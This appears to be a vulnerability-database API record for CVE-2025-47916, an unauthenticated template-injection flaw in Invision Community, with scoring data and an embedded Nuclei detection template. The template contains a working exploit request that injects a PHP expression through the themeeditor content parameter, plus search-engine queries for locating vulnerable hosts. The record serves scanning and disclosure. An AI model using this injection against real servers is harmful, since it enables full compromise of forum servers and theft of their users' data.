{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-47916/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-47916/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-47916/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-47916/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-47916/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-47916"},"sightings":{"href":"/api/v1/sightings/cve-2025-47916"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.83732,"kev":false,"percentile":0.99682},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-47916.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-47916\n\ninfo:\n  name: Invision Community <=5.0.6 Unauthenticated RCE via Template Injection\n  author: EgiX,iamnoooob,pdresearch\n  severity: critical\n  description: |\n    Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (/applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method, which is evaluated by the template engine. Accordingly, unauthenticated attackers can inject and execute arbitrary PHP code by providing crafted template strings.\n  impact: |\n    Unauthenticated attackers can inject and execute arbitrary PHP code through the content parameter in themeeditor.php, achieving complete server compromise.\n  remediation: |\n    Upgrade Invision Community to version 5.0.7 or later that properly sanitizes template strings before evaluation.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-47916\n    - https://karmainsecurity.com/pocs/CVE-2025-47916.php\n    - https://invisioncommunity.com/release-notes-v5/507-r41/\n    - https://karmainsecurity.com/KIS-2025-02\n    - http://seclists.org/fulldisclosure/2025/May/4\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2025-47916\n    cwe-id: CWE-1336\n    epss-score: 0.83732\n    epss-percentile: 0.99682\n  metadata:\n    verified: true\n    max-request: 1\n    fofa-query: body=\"Invision\" && body=\"ips4\"\n    shodan-query: \"Set-Cookie: ips4_\"\n  tags: cve,cve2025,invision,rce,ssti,unauth,seclists,vkev,vuln\n\nvariables:\n  marker: \"{{randstr}}\"\n\nhttp:\n  - raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        app=core&module=system&controller=themeeditor&do=customCss&content=%7Bexpression%3D%22die%28%27CVE%27. base64_decode%28%27{{base64(marker)}}%3D%27%29%29%22%7D\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'CVE{{marker}}'\n# digest: 4a0a004730450221008ae421331f047696bd359e94cf60c554d4c3667fa9cda9347e787e744afdec6602202f3624650feb302f9f4bc6b0d37cb2f63d58198fdb867adf67a9bccc9b6d37f7:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-47916"}